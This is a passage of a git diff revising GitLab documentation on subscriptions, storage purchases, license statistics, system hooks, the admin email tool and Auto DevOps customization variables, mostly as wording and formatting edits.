1. To confirm the available CI minutes for your personal projects, click your avatar, then go to **Settings > Usage Quotas**.
The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month.
@@ -287,19 +294,51 @@ To purchase additional minutes for your personal namespace:
Be aware that:
- If you have purchased extra CI minutes before the purchase of a paid plan,
- we will calculate a pro-rated charge for your paid plan. That means you may
- be charged for less than one year since your subscription was previously
+ we calculate a pro-rated charge for your paid plan. That means you may
+ be charged for less than one year because your subscription was previously
created with the extra CI minutes.
-- Once the extra CI minutes have been assigned to a Group, they can't be transferred
+- After the extra CI minutes have been assigned to a Group, they can't be transferred
to a different Group.
- If you have used more minutes than your default quota, these minutes will
be deducted from your Additional Minutes quota immediately after your purchase of additional
minutes.
-## Customers portal
+## Storage subscription
+
+Projects have a free storage quota of 10 GB. To exceed this quota you must first [purchase one or
+more storage subscription units](#purchase-more-storage). Each unit provides 10 GB of additional
+storage per namespace. A storage subscription is renewed annually. For more details, see
+[Usage Quotas](../../user/usage_quotas.md).
+
+When the amount of purchased storage reaches zero, all projects over the free storage quota are
+locked. Projects can only be unlocked by purchasing more storage subscription units.
+
+### Purchase more storage
+
+To purchase more storage for either a personal or group namespace:
+
+1. Sign in to GitLab.com.
+1. From either your personal homepage or the group's page, go to **Settings > Usage Quotas**.
+1. For each locked project, total by how much its **Usage** exceeds the free quota and purchased
+ storage. You must purchase the storage increment that exceeds this total.
+1. Click **Purchase more storage** and you are taken to the Customers Portal.
+1. Click **Add new subscription**.
+1. Scroll to **Purchase add-on subscriptions** and select **Buy storage subscription**.
+1. In the **Subscription details** section select the name of the user or group from the dropdown.
+1. Enter the desired quantity of storage packs.
+1. In the **Billing information** section select the payment method from the dropdown.
+1. Select the **Privacy Policy** and **Terms of Service** checkbox.
+1. Select **Buy subscription**.
+1. Sign out of the Customers Portal.
+1. Switch back to the GitLab.com tab and refresh the page.
+
+The **Purchased storage available** total is incremented by the amount purchased. All locked
+projects are unlocked and their excess usage is deducted from the additional storage.
+
+## Customers Portal
-GitLab provides a [customer portal](../index.md#customers-portal) where you can
-manage your subscriptions and your account details.
+The GitLab [Customers Portal](../index.md#customers-portal) enables you to manage your subscriptions
+and account details.
## Contact Support
diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md
index df71c6bcf31..d80a2ebe179 100644
--- a/doc/subscriptions/index.md
+++ b/doc/subscriptions/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, reference
---
@@ -27,7 +27,7 @@ When choosing a subscription, there are two factors to consider:
There are some differences in how a subscription applies, depending if you use
GitLab.com or a self-managed instance:
-- [GitLab.com](gitlab_com/index.md): GitLab's software-as-a-service offering.
+- [GitLab.com](gitlab_com/index.md): The GitLab software-as-a-service offering.
You don't need to install anything to use GitLab.com, you only need to
[sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away.
- [GitLab self-managed](self_managed/index.md): Install, administer, and maintain
@@ -37,7 +37,7 @@ On a self-managed instance, a GitLab subscription provides the same set of
features for _all_ users. On GitLab.com, you can apply a subscription to either
a group or a personal namespace.
-NOTE: **Note:**
+NOTE:
Subscriptions cannot be transferred between GitLab.com and GitLab self-managed.
A new subscription must be purchased and applied as needed.
@@ -77,7 +77,7 @@ With the [Customers Portal](https://customers.gitlab.com/) you can:
- [Change your payment method](#change-your-payment-method)
- [Change the linked account](#change-the-linked-account)
- [Change the associated namespace](#change-the-associated-namespace)
-- [Change customers portal account password](#change-customer-portal-account-password)
+- [Change customers portal account password](#change-customers-portal-account-password)
### Change your personal details
@@ -152,9 +152,9 @@ With a linked GitLab.com account:
1. Select the desired group from the **This subscription is for** dropdown.
1. Click **Proceed to checkout**.
-Subscription charges are calculated based on the total number of users in a group, including its subgroups and nested projects. If the total number of users exceeds the number of seats in your subscription, you will be charged for the additional users.
+Subscription charges are calculated based on the total number of users in a group, including its subgroups and nested projects. If the total number of users exceeds the number of seats in your subscription, your account is charged for the additional users.
-### Change customer portal account password
+### Change Customers Portal account password
To change the password for this customers portal account:
@@ -173,7 +173,7 @@ Find more information how to apply and renew at
## GitLab for Open Source subscriptions
-All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/program/)
+All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/join/)
requests, including subscription renewals, must be made by using the application process.
If you have any questions, send an email to `opensource@gitlab.com` for assistance.
diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md
index a63c2830909..a4affff92e4 100644
--- a/doc/subscriptions/self_managed/index.md
+++ b/doc/subscriptions/self_managed/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, reference
---
@@ -45,13 +45,6 @@ billable user, with the following exceptions:
- Members with Guest permissions on an Ultimate subscription.
- GitLab-created service accounts: `Ghost User` and bots (`Support Bot`, [`Project bot users`](../../user/project/settings/project_access_tokens.md#project-bot-users), and so on).
-### Users statistics
-
-To view a breakdown of the users within your instance, including active, billable,
-and blocked, go to **Admin Area > Overview > Dashboard** and select **Users statistics**
-in the **Users** section. For more details, see
-[Users statistics](../../user/admin_area/index.md#users-statistics).
-
### Tips for managing users and subscription seats
Managing the number of users against the number of subscription seats can be a challenge:
@@ -69,6 +62,7 @@ GitLab has several features which can help you manage the number of users:
option. **Available in GitLab 13.6 and later**.
- [Disable new sign-ups](../../user/admin_area/settings/sign_up_restrictions.md), and instead manage new
users manually.
+- View a breakdown of users by role in the [Users statistics](../../user/admin_area/index.md#users-statistics) page.
## Obtain a subscription
@@ -79,20 +73,32 @@ To subscribe to GitLab through a self-managed installation:
1. After purchase, a license file is sent to the email address associated to the Customers Portal account,
which must be [uploaded to your GitLab instance](../../user/admin_area/license.md#uploading-your-license).
-TIP: **Tip:**
+NOTE:
If you're purchasing a subscription for an existing **Core** self-managed
instance, ensure you're purchasing enough seats to
[cover your users](../../user/admin_area/index.md#administering-users).
## View your subscription
-If you are an administrator, to view the status of your self-managed subscription,
-log in to the your GitLab instance and go to the **License** page:
+If you are an administrator, you can view the status of your subscription:
1. Go to **Admin Area**.
1. From the left-hand menu, select **License**.
-Read more about the [license admin area](../../user/admin_area/license.md).
+The **License** page includes the following details:
+
+- Licensee
+- Plan
+- When it was uploaded, started, and when it expires
+
+It also displays the following important statistics:
+
+| Field | Description |
+|:-------------------|:------------|
+| Users in License | The number of users you've paid for in the current license loaded on the system. This does not include the amount you've paid for `Users over license` during renewal. |
+| Billable users | The daily count of billable users on your system. |
+| Maximum users | The highest number of billable users on your system during the term of the loaded license. If this number exceeds your users in license count at any point, you incur users over license. |
+| Users over license | The number of users that exceed the `Users in License` for the current license term. Charges for this number of users are incurred at the next renewal. |
## Renew your subscription
@@ -109,16 +115,16 @@ log in and verify or update:
- The invoice contact details on the **Account details** page.
- The credit card on file on the **Payment Methods** page.
-TIP: **Tip:**
+NOTE:
Contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293)
if you need assistance accessing the Customers Portal or if you need to change
the contact person who manages your subscription.
It's important to regularly review your user accounts, because:
-- A GitLab subscription is based on the number of users. You will pay more than
- you should if you renew for too many users, while the renewal will fail if you
- attempt to renew a subscription for too few users.
+- A GitLab subscription is based on the number of users. You pay more than you should if you renew
+ for too many users, while the renewal fails if you attempt to renew a subscription for too few
+ users.
- Stale user accounts can be a security risk. A regular review helps reduce this risk.
#### Users over License
@@ -129,6 +135,10 @@ count exceeds the number included in the subscription, known as the number of
_users over license_, you must pay for the excess number of users either before
renewal, or at the time of renewal. This is also known as the _true up_ process.
+To view the number of _Users over License_ go to the **Admin Area**.
+
+### Add users to a subscription
+
Self-managed instances can add users to a subscription any time during the
subscription period. The cost of additional users added during the subscription
period is prorated from the date of purchase through the end of the subscription period.
@@ -140,10 +150,10 @@ To add users to a subscription:
1. Select **Add more seats** on the relevant subscription card.
1. Enter the number of additional users.
1. Select **Proceed to checkout**.
-1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the system and a credit for what you've already paid. You will only be charged for the net change.
+1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the system and a credit for what you've already paid. You are only be charged for the net change.
1. Select **Confirm Upgrade**.
-The following will be emailed to you:
+The following items are emailed to you:
- A payment receipt. You can also access this information in the Customers Portal under [**View invoices**](https://customers.gitlab.com/receipts).
- A new license. [Upload this license](../../user/admin_area/license.md#uploading-your-license) to your instance to use it.
@@ -158,29 +168,16 @@ We recommend following these steps during renewal:
1. Determine if you have a need for user growth in the upcoming subscription.
1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) and select the **Renew** button beneath your existing subscription.
- TIP: **Tip:**
+ NOTE:
If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal.
-1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of active users in the system at the time of performing the renewal.
+1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of billable users in the system at the time of performing the renewal.
1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term.
-
- TIP: **Tip:**
- You can find the _users over license_ in your instance's **Admin** dashboard by clicking on the **Admin Area** in the top bar, or going to `/admin`.
-
- The following table describes details of your admin dashboard and renewal terms:
-
- | Field | Description |
- |:------|:------------|
- | Users in License | The number of users you've paid for in the current license loaded on the system. This does not include the amount you've paid for `Users over license` during renewal. |
- | Active users | The daily count of active users on your system. |
- | Maximum users | The highest number of active users on your system during the term of the loaded license. If this number exceeds your users in license count at any point, you incur users over license. |
- | Users over license | The number of users that exceed the `Users in License` for the current license term. Charges for this number of users will be incurred at the next renewal. |
-
1. Review your renewal details and complete the payment process.
-1. A license for the renewal term will be available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy.
+1. A license for the renewal term is available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy.
1. [Upload](../../user/admin_area/license.md#uploading-your-license) your new license to your instance.
-An invoice will be generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance.
+An invoice is generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance.
### Seat Link
@@ -195,9 +192,9 @@ Seat Link provides **only** the following information to GitLab:
- Date
- License key
- Historical maximum user count
-- Active users count
+- Billable users count
-For offline or closed network customers, the existing [true-up model](#users-over-license) will be used. Prorated charges are not possible without user count data.
+For offline or closed network customers, the existing [true-up model](#users-over-license) is used. Prorated charges are not possible without user count data.
<details>
<summary>Click here to view example content of a Seat Link POST request.</summary>
@@ -306,18 +303,18 @@ When your subscription or trial expires, GitLab does not delete your data, but i
may become inaccessible, depending on the tier at expiry. Some features may not
behave as expected if you're not prepared for the expiry. For example,
[environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759).
-If you renew or upgrade, your data will again be accessible.
+If you renew or upgrade, your data is again accessible.
For self-managed customers, there is a 14-day grace period when your features
-will continue to work as-is, after which the entire instance will become read
+continue to work as-is, after which the entire instance becomes read
only.
-However, if you remove the license, you will immediately revert to Core
-features, and the instance will be read / write again.
+However, if you remove the license, you immediately revert to Core
+features, and the instance become read / write again.
-## Customers portal
+## Customers Portal
-GitLab provides a [customer portal](../index.md#customers-portal) where you can
+GitLab provides the [Customers Portal](../index.md#customers-portal) where you can
manage your subscriptions and your account details.
## Contact Support
diff --git a/doc/system_hooks/system_hooks.md b/doc/system_hooks/system_hooks.md
index 9f42c96e31b..b3a74e62ba8 100644
--- a/doc/system_hooks/system_hooks.md
+++ b/doc/system_hooks/system_hooks.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -44,7 +44,7 @@ denied access.
System hooks can be used, for example, for logging or changing information in an
LDAP server.
-NOTE: **Note:**
+NOTE:
We follow the same structure and deprecations as [Webhooks](../user/project/integrations/webhooks.md)
for Push and Tag events, but we never display commits.
@@ -249,7 +249,7 @@ Please refer to `group_rename` and `user_rename` for that case.
}
```
-If the user is blocked via LDAP, `state` will be `ldap_blocked`.
+If the user is blocked via LDAP, `state` is `ldap_blocked`.
**User renamed:**
diff --git a/doc/telemetry/index.md b/doc/telemetry/index.md
index 4583dbe4753..57740672fb4 100644
--- a/doc/telemetry/index.md
+++ b/doc/telemetry/index.md
@@ -3,3 +3,6 @@ redirect_to: '../development/product_analytics/index.md'
---
This document was moved to [another location](../development/product_analytics/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/telemetry/snowplow.md b/doc/telemetry/snowplow.md
index 643893bcc22..ac157a8e639 100644
--- a/doc/telemetry/snowplow.md
+++ b/doc/telemetry/snowplow.md
@@ -3,3 +3,6 @@ redirect_to: '../development/product_analytics/snowplow.md'
---
This document was moved to [another location](../development/product_analytics/snowplow.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/tools/email.md b/doc/tools/email.md
index 41a78f3a68a..302279401f6 100644
--- a/doc/tools/email.md
+++ b/doc/tools/email.md
@@ -1,20 +1,20 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto, reference
---
# Email from GitLab **(STARTER ONLY)**
GitLab provides a simple tool to administrators for emailing all users, or users of
-a chosen group or project, right from the Admin Area. Users will receive the email
+a chosen group or project, right from the Admin Area. Users receive the email
at their primary email address.
## Use-cases
- Notify your users about a new project, a new feature, or a new product launch.
-- Notify your users about a new deployment, or that will be downtime expected
+- Notify your users about a new deployment, or that downtime is expected
for a particular reason.
## Sending emails to users from within GitLab
@@ -24,14 +24,14 @@ at their primary email address.
![admin users](email1.png)
-1. Compose an email and choose where it will be sent (all users or users of a
+1. Compose an email and choose where to send it (all users or users of a
chosen group or project). The email body only supports plain text messages.
- HTML, Markdown, and other rich text formats are not supported, and will be
+ HTML, Markdown, and other rich text formats are not supported, and is
sent as plain text to users.
![compose an email](email2.png)
-NOTE: **Note:**
+NOTE:
[Starting with GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/31509), email notifications can be sent only once every 10 minutes. This helps minimize performance issues.
## Unsubscribing from emails
@@ -40,7 +40,7 @@ Users can choose to unsubscribe from receiving emails from GitLab by following
the unsubscribe link in the email. Unsubscribing is unauthenticated in order
to keep this feature simple.
-On unsubscribe, users will receive an email notification that unsubscribe happened.
+On unsubscribe, users receive an email notification that unsubscribe happened.
The endpoint that provides the unsubscribe option is rate-limited.
<!-- ## Troubleshooting
diff --git a/doc/topics/application_development_platform/index.md b/doc/topics/application_development_platform/index.md
index c38b067f1f3..f9baa8916df 100644
--- a/doc/topics/application_development_platform/index.md
+++ b/doc/topics/application_development_platform/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Application Development Platform
@@ -35,14 +35,14 @@ of newer, more efficient, more profitable, and less error-prone techniques for s
Because at GitLab we are [cloud-native first](https://about.gitlab.com/handbook/product/#cloud-native-first) our
Application Development Platform initially focuses on providing robust support for Kubernetes, with other platforms
-to follow. Teams can bring their own clusters and we will additionally make it easy to create new infrastructure
+to follow. Teams can bring their own clusters and we additionally make it easy to create new infrastructure
with various cloud providers.
### Build, test, deploy
-In order to provide modern DevOps workflows, our Application Development Platform will rely on
+In order to provide modern DevOps workflows, our Application Development Platform relies on
[Auto DevOps](../autodevops/index.md) to provide those workflows. Auto DevOps works with
-any Kubernetes cluster; you're not limited to running on GitLab's infrastructure. Additionally, Auto DevOps offers
+any Kubernetes cluster; you're not limited to running on GitLab infrastructure. Additionally, Auto DevOps offers
an incremental consumption path. Because it is [composable](../autodevops/customize.md#using-components-of-auto-devops),
you can use as much or as little of the default pipeline as you'd like, and deeply customize without having to integrate a completely different platform.
diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md
index 8a876e07791..0e51042193c 100644
--- a/doc/topics/authentication/index.md
+++ b/doc/topics/authentication/index.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Manage
+group: Access
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Authentication
diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md
index 95b6241583f..0d4f86f1284 100644
--- a/doc/topics/autodevops/customize.md
+++ b/doc/topics/autodevops/customize.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Customizing Auto DevOps
@@ -38,7 +38,7 @@ For example:
### Multiple buildpacks
Using multiple buildpacks is not fully supported by Auto DevOps, because Auto Test
-won't work when using the `.buildpacks` file. The buildpack
+can't use the `.buildpacks` file. The buildpack
[heroku-buildpack-multi](https://github.com/heroku/heroku-buildpack-multi/), used
in the backend to parse the `.buildpacks` file, does not provide the necessary commands
`bin/test-compile` and `bin/test`.
@@ -78,7 +78,7 @@ Use Base64 encoding if you need to pass complex values, such as newlines and
spaces. Left unencoded, complex values like these can cause escaping issues
due to how Auto DevOps uses the arguments.
-CAUTION: **Warning:**
+WARNING:
Avoid passing secrets as Docker build arguments if possible, as they may be
persisted in your image. See
[this discussion of best practices with secrets](https://github.com/moby/moby/issues/13490) for details.
@@ -133,7 +133,7 @@ You can override the Helm chart used by bundling up a chart into your project
repository or by specifying a project variable:
- **Bundled chart** - If your project has a `./chart` directory with a `Chart.yaml`
- file in it, Auto DevOps will detect the chart and use it instead of the
+ file in it, Auto DevOps detects the chart and uses it instead of the
[default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), enabling
you to control exactly how your application is deployed.
- **Project variable** - Create a [project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables)
@@ -143,7 +143,7 @@ repository or by specifying a project variable:
## Customize values for Helm Chart
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30628) in GitLab 12.6, `.gitlab/auto-deploy-values.yaml` will be used by default for Helm upgrades.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30628) in GitLab 12.6, `.gitlab/auto-deploy-values.yaml` is used by default for Helm upgrades.
You can override the default values in the `values.yaml` file in the
[default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) by either:
@@ -154,7 +154,7 @@ You can override the default values in the `values.yaml` file in the
`HELM_UPGRADE_VALUES_FILE` [environment variable](#environment-variables) with
the path and name.
-NOTE: **Note:**
+NOTE:
For GitLab 12.5 and earlier, use the `HELM_UPGRADE_EXTRA_ARGS` environment variable
to override the default chart values by setting `HELM_UPGRADE_EXTRA_ARGS` to `--values <my-values.yaml>`.
@@ -190,7 +190,7 @@ include:
- template: Auto-DevOps.gitlab-ci.yml
```
-Add your changes, and your additions will be merged with the
+Add your changes, and your additions are merged with the
[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
using the behavior described for [`include`](../../ci/yaml/README.md#include).
@@ -243,9 +243,9 @@ include:
See the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) for information on available jobs.
-CAUTION: **Deprecation:**
+WARNING:
Auto DevOps templates using the [`only`](../../ci/yaml/README.md#onlyexcept-basic) or
-[`except`](../../ci/yaml/README.md#onlyexcept-basic) syntax will switch
+[`except`](../../ci/yaml/README.md#onlyexcept-basic) syntax have switched
to the [`rules`](../../ci/yaml/README.md#rules) syntax, starting in
[GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213336).
If your `.gitlab-ci.yml` extends these Auto DevOps templates and override the `only` or
@@ -268,7 +268,7 @@ postgres://user:password@postgres-host:postgres-port/postgres-database
### Upgrading PostgresSQL
-CAUTION: **Deprecation:**
+WARNING:
The variable `AUTO_DEVOPS_POSTGRES_CHANNEL` that controls default provisioned
PostgreSQL was changed to `2` in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/210499).
To keep using the old PostgreSQL, set the `AUTO_DEVOPS_POSTGRES_CHANNEL` variable to
@@ -295,12 +295,12 @@ You must define environment-scoped variables for `POSTGRES_ENABLED` and
1. Disable the built-in PostgreSQL installation for the required environments using
scoped [environment variables](../../ci/environments/index.md#scoping-environments-with-specs).
- For this use case, it's likely that only `production` will need to be added to this
+ For this use case, it's likely that only `production` must be added to this
list. The built-in PostgreSQL setup for Review Apps and staging is sufficient.
![Auto Metrics](img/disable_postgres.png)
-1. Define the `DATABASE_URL` CI variable as a scoped environment variable that will be
+1. Define the `DATABASE_URL` CI variable as a scoped environment variable that is
available to your application. This should be a URL in the following format:
```yaml
@@ -328,14 +328,14 @@ applications.
| `AUTO_DEVOPS_ATOMIC_RELEASE` | As of GitLab 13.0, Auto DevOps uses [`--atomic`](https://v2.helm.sh/docs/helm/#options-43) for Helm deployments by default. Set this variable to `false` to disable the use of `--atomic` |
| `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` | When set to a non-empty value and no `Dockerfile` is present, Auto Build builds your application using Cloud Native Buildpacks instead of Herokuish. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). |
| `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` | The builder used when building with Cloud Native Buildpacks. The default builder is `heroku/buildpacks:18`. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). |
-| `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Note that using quotes won't prevent word splitting. [More details](#passing-arguments-to-docker-build). |
+| `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Note that using quotes doesn't prevent word splitting. [More details](#passing-arguments-to-docker-build). |
| `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` | A [comma-separated list of CI variable names](#forward-ci-variables-to-the-build-environment) to be forwarded to the build environment (the buildpack builder or `docker build`). |
| `AUTO_DEVOPS_CHART` | Helm Chart used to deploy your apps. Defaults to the one [provided by GitLab](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app). |
| `AUTO_DEVOPS_CHART_REPOSITORY` | Helm Chart repository used to search for charts. Defaults to `https://charts.gitlab.io`. |
| `AUTO_DEVOPS_CHART_REPOSITORY_NAME` | From GitLab 11.11, used to set the name of the Helm repository. Defaults to `gitlab`. |
| `AUTO_DEVOPS_CHART_REPOSITORY_USERNAME` | From GitLab 11.11, used to set a username to connect to the Helm repository. Defaults to no credentials. Also set `AUTO_DEVOPS_CHART_REPOSITORY_PASSWORD`. |
| `AUTO_DEVOPS_CHART_REPOSITORY_PASSWORD` | From GitLab 11.11, used to set a password to connect to the Helm repository. Defaults to no credentials. Also set `AUTO_DEVOPS_CHART_REPOSITORY_USERNAME`. |
-| `AUTO_DEVOPS_DEPLOY_DEBUG` | From GitLab 13.1, if this variable is present, Helm will output debug logs. |
+| `AUTO_DEVOPS_DEPLOY_DEBUG` | From GitLab 13.1, if this variable is present, Helm outputs debug logs. |
| `AUTO_DEVOPS_ALLOW_TO_FORCE_DEPLOY_V<N>` | From [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) v1.0.0, if this variable is present, a new major version of chart is forcibly deployed. For more information, see [Ignore warnings and continue deploying](upgrading_auto_deploy_dependencies.md#ignore-warnings-and-continue-deploying). |
| `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` | From GitLab 12.5, used in combination with [ModSecurity feature flag](../../user/clusters/applications.md#web-application-firewall-modsecurity) to toggle [ModSecurity's `SecRuleEngine`](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#SecRuleEngine) behavior. Defaults to `DetectionOnly`. |
| `BUILDPACK_URL` | Buildpack's full URL. Can point to either [a Git repository URL or a tarball URL](#custom-buildpacks). |
@@ -345,9 +345,9 @@ applications.
| `DOCKERFILE_PATH` | From GitLab 13.2, allows overriding the [default Dockerfile path for the build stage](#custom-dockerfile) |
| `HELM_RELEASE_NAME` | From GitLab 12.1, allows the `helm` release name to be overridden. Can be used to assign unique release names when deploying multiple projects to a single namespace. |
| `HELM_UPGRADE_VALUES_FILE` | From GitLab 12.6, allows the `helm upgrade` values file to be overridden. Defaults to `.gitlab/auto-deploy-values.yaml`. |
-| `HELM_UPGRADE_EXTRA_ARGS` | From GitLab 11.11, allows extra options in `helm upgrade` commands when deploying the application. Note that using quotes won't prevent word splitting. |
+| `HELM_UPGRADE_EXTRA_ARGS` | From GitLab 11.11, allows extra options in `helm upgrade` commands when deploying the application. Note that using quotes doesn't prevent word splitting. |
| `INCREMENTAL_ROLLOUT_MODE` | From GitLab 11.4, if present, can be used to enable an [incremental rollout](#incremental-rollout-to-production) of your application for the production environment. Set to `manual` for manual deployment jobs or `timed` for automatic rollout deployments with a 5 minute delay each one. |
-| `K8S_SECRET_*` | From GitLab 11.7, any variable prefixed with [`K8S_SECRET_`](#application-secret-variables) will be made available by Auto DevOps as environment variables to the deployed application. |
+| `K8S_SECRET_*` | From GitLab 11.7, any variable prefixed with [`K8S_SECRET_`](#application-secret-variables) is made available by Auto DevOps as environment variables to the deployed application. |
| `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, can be used to set a domain per cluster. See [cluster domains](../../user/project/clusters/index.md#base-domain) for more information. |
| `PRODUCTION_REPLICAS` | Number of replicas to deploy in the production environment. Takes precedence over `REPLICAS` and defaults to 1. For zero downtime upgrades, set to 2 or greater. |
| `REPLICAS` | Number of replicas to deploy. Defaults to 1. |
@@ -355,12 +355,12 @@ applications.
| `ROLLOUT_STATUS_DISABLED` | From GitLab 12.0, used to disable rollout status check because it does not support all resource types, for example, `cronjob`. |
| `STAGING_ENABLED` | From GitLab 10.8, used to define a [deploy policy for staging and production environments](#deploy-policy-for-staging-and-production-environments). |
-TIP: **Tip:**
+NOTE:
After you set up your replica variables using a
[project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables),
you can scale your application by redeploying it.
-CAUTION: **Caution:**
+WARNING:
You should *not* scale your application using Kubernetes directly. This can
cause confusion with Helm not detecting the change, and subsequent deploys with
Auto DevOps can undo your changes.
@@ -377,26 +377,56 @@ The following table lists variables related to the database.
| `POSTGRES_USER` | The PostgreSQL user. Defaults to `user`. Set it to use a custom username. |
| `POSTGRES_PASSWORD` | The PostgreSQL password. Defaults to `testing-password`. Set it to use a custom password. |
| `POSTGRES_DB` | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/README.md#predefined-environment-variables). Set it to use a custom database name. |
-| `POSTGRES_VERSION` | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments will use the default version `9.6.2`. |
+| `POSTGRES_VERSION` | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments uses the default version `9.6.2`. |
### Disable jobs
The following table lists variables used to disable jobs.
-| **Variable** | **Description** |
-|-----------------------------------------|------------------------------------|
-| `CODE_QUALITY_DISABLED` | From GitLab 11.0, used to disable the `codequality` job. If the variable is present, the job won't be created. |
-| `CONTAINER_SCANNING_DISABLED` | From GitLab 11.0, used to disable the `sast:container` job. If the variable is present, the job won't be created. |
